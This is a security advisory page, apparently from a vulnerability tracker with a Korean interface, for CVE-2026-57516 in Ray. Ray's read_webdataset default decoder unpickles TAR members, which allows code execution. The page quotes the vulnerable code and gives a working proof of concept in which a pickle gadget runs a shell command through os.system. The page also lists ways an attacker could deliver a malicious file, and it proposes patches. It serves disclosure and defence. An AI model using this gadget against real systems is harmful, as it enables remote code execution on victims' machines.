Kestrel
대시보드로 돌아가기
CVE-2026-57516HIGH· 8.8MITRENVDGHSA대응게시일: 2026. 07. 01.수정일: 2026. 07. 24.

Ray: Arbitrary code execution via ray.data.read_webdataset default decoder: pickle.loads(value) and torch.load(weights_only=False)

Deserialization

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.8high

이론적 심각도 점수

EPSS
0.6%상위 57.1%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.8HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

상세 설명

Summary

ray.data.read_webdataset(paths=...) is a @PublicAPI(stability="alpha")
reader for WebDataset-format TAR files. Its default decoder=True invokes
_default_decoder on every sample's keys, which routes file extension to a
decoder by extension. Two of those branches deserialize attacker-controlled
bytes with no validation:

  • .pickle / .pkl -> pickle.loads(value)
  • .pt / .pth -> torch.load(io.BytesIO(value), weights_only=False)

Both fire during a standard ray.data.read_webdataset(...).take_all() /
.iter_batches() call. No flags, no opt-in, no environment variable.
An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,
email attachment, model-zoo, or any HTTP URL the user passes to
read_webdataset) achieves arbitrary code execution in the calling
Ray process at schema-sample time, before row data is consumed.

This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow
Extension Type cloudpickle deserialization, patched in 2.55.0): standard
data-loading API, attacker-controlled file format, deserialization gadget
invoked transparently. The 2.55.0 patch addressed
tensor_extensions/arrow.py:_deserialize_with_fallback and made cloudpickle
opt-in via RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. The
WebDataset path is a different code site and was not touched.

Vulnerable code (HEAD a157d4d)

python/ray/data/_internal/datasource/webdataset_datasource.py lines
175-225, the _default_decoder function:

python
1def _default_decoder(sample, format=True):
2 sample = dict(sample)
3 for key, value in sample.items():
4 extension = key.split(".")[-1]
5 ...
6 elif extension in ["pt", "pth"]:
7 import torch
8 # PyTorch 2.6 changed torch.load default weights_only=True, which
9 # breaks loading general Python objects previously serialized for
10 # WebDataset .pt payloads.
11 sample[key] = torch.load(io.BytesIO(value), weights_only=False) # line 219
12 elif extension in ["pickle", "pkl"]:
13 import pickle
14 sample[key] = pickle.loads(value) # line 223
15 return sample

The comment for the .pt/.pth branch is itself a security smell: it
documents that the maintainer chose weights_only=False to override
PyTorch 2.6's safer default. The comment treats this as a compatibility
fix; it functionally re-enables an arbitrary-code-execution path that
upstream PyTorch closed.

Reachability and default-on confirmation

python/ray/data/read_api.py:2289 defines read_webdataset with default
decoder=True:

python
1@PublicAPI(stability="alpha")
2def read_webdataset(
3 paths,
4 *,
5 ...
6 decoder: Optional[Union[bool, str, callable, list]] = True,
7 ...
8) -> Dataset:
9 ...
10 datasource = WebDatasetDatasource(paths, decoder=decoder, ...)

WebDatasetDatasource._read_stream (line 367) calls the decoder
unconditionally when not None:

text
1for sample in samples:
2 if self.decoder is not None:
3 sample = _apply_list(self.decoder, sample, default=_default_decoder)

True is not None evaluates True, so the default decoder fires for every
invocation that doesn't explicitly pass decoder=None (or a custom safe
decoder). The documentation does not warn about the behavior.

End-to-end reproduction

Tested on a fresh venv (pip install ray[data]) on Linux x86_64. Ray
reports __version__ == "2.55.1" (the patched-against-GHSA-mw35 release):

python
1import io, os, pickle, subprocess, tarfile, tempfile, sys
2
3MARKER = "/tmp/ray_webdataset_poc_rce_marker"
4
5class Gadget:
6 def __reduce__(self):
7 cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n"
8 f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"")
9 return (os.system, (cmd,))
10
11with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:
12 tar_path = f.name
13with tarfile.open(tar_path, "w") as tar:
14 for name, body in (("000000.txt", b"hello"),
15 ("000000.pkl", pickle.dumps(Gadget()))):
16 ti = tarfile.TarInfo(name=name); ti.size = len(body)
17 tar.addfile(ti, io.BytesIO(body))
18
19import ray, ray.data
20ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)
21ds = ray.data.read_webdataset(paths=[tar_path])
22rows = ds.take_all()
23assert os.path.exists(MARKER), "no RCE"
24print(open(MARKER).read())

Output:

text
1ray version: 2.55.1
2crafted /tmp/tmpjpos115h.tar (10240 bytes)
3ds.take_all() returned 1 row(s)
4RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:
5 RCE via ray.data.read_webdataset
6 pid=248816
7 user=xyz

The .pt/.pth variant is the exact same primitive against the
torch.load(io.BytesIO(value), weights_only=False) branch; replace the
TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.

Real-world delivery vectors

  • paths=["s3://bucket/poisoned.tar"] -- the user thinks they are reading
    a WebDataset shard; the bucket is shared, mis-permissioned, or
    compromised.
  • paths=["https://attacker/model.tar"] -- HTTP-served WebDataset.
  • HuggingFace Hub -- WebDataset is a recognized HF dataset format; users
    pull TAR shards via datasets and feed them to Ray Data.
  • Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.

Why GHSA-mw35 doesn't cover this

GHSA-mw35-8rx3-xf9r patched tensor_extensions/arrow.py:_deserialize_with_fallback
by gating cloudpickle.loads behind
RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. That change touches
the Parquet ExtensionType deserialization path only. The advisory text
does not mention WebDataset, the WebDataset code is in a different
module, and the unsafe loads here use pickle.loads and
torch.load(weights_only=False) (not cloudpickle.loads).

Suggested patch

Two minimal options, both Ray-internal:

  1. Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix
    pattern. Replace the .pt/.pth and .pkl/.pickle branches with a
    guard:

    python
    1import os
    2_ALLOW_UNSAFE = os.environ.get(
    3 "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0"
    4) == "1"
    5
    6elif extension in ["pt", "pth"]:
    7 if not _ALLOW_UNSAFE:
    8 raise ValueError(
    9 f"Refusing to load .pt/.pth member {key!r} from WebDataset "
    10 f"with weights_only=False. Set "
    11 f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted "
    12 f"sources."
    13 )
    14 sample[key] = torch.load(io.BytesIO(value), weights_only=False)
    15
    16elif extension in ["pickle", "pkl"]:
    17 if not _ALLOW_UNSAFE:
    18 raise ValueError(
    19 f"Refusing to unpickle WebDataset member {key!r} -- "
    20 f"untrusted pickle is RCE. Provide your own decoder "
    21 f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for "
    22 f"trusted sources."
    23 )
    24 sample[key] = pickle.loads(value)
  2. Drop these branches from the default decoder entirely and require
    callers to provide their own decoder when working with .pkl/.pt
    samples. This is the safer default, matches WebDataset upstream's
    guidance ("by default, use safe decoders"), and is consistent with
    the spirit of the GHSA-mw35 patch.

Either option flips the default-on RCE primitive into an explicit
opt-in. The current default-on behavior provides no signal to users
that calling ray.data.read_webdataset on an untrusted TAR is
equivalent to running attacker code.

References

  • Source: python/ray/data/_internal/datasource/webdataset_datasource.py:175-225
  • Public API: python/ray/data/read_api.py:2287-2370 (read_webdataset)
  • Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet
    Arrow Extension Type, patched 2.55.0)
  • Earlier related advisory: PR #45084 (2024) fixed PyExtensionType
    cloudpickle but did not touch the WebDataset decoder.
  • WebDataset format: https://github.com/webdataset/webdataset

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.